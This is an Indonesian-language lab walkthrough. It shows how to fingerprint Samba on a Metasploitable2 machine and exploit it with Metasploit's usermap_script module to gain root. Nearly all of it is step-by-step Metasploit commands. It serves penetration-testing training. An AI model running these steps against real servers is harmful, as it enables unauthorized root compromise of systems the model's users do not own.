Exploit Port 139 dan 445 SMB.md

Exploit port 139 dan 445 (SMB)

• Buka msfconsole di terminal

msfconsole

• Gunakan modul auxiliary/scanner/smb/smb_version untuk mengetahui versi samba yang digunakan di server

use auxiliary/scanner/smb/smb_version

• Tampilkan daftar parameter yang dibutuhkan di modul tersebut. Disini kita hanya perlu mengisi parameter RHOSTS saja

show options

• Isi parameter RHOST dengan IP metasploitable2

set RHOST <IP_metasploitable2>

• Jalankan modul tersebut. Disini didapat informasi bahwa file server yang digunakan adalah samba versi 3.0.20

exploit

• Buka terminal baru gunakan tool searchsploit untuk mencari kelemahan samba versi 3.0.20

searchsploit samba

• Buka kembali tool metasploit dan lakukan pencarian modul exploit untuk samba

search samba

• Disini kita gunakan modul exploit/multi/samba/usermap_script yang ada di list nomor 8 dari hasil pencarian

use <nomor_modul>

• Tampilkan daftar parameter yang dibutuhkan di modul tersebut. Disini kita hanya perlu mengisi parameter RHOSTS saja

show options

• Isi parameter RHOST dengan IP metasploitable2

set RHOST <IP_metasploitable2>

• Jalankan modul tersebut. Setelah dijalankan, exploit berhasil mengakses masuk ke dalam server. Jika diketik perintah whoami maka kita berhasil masuk sebagai user root

exploit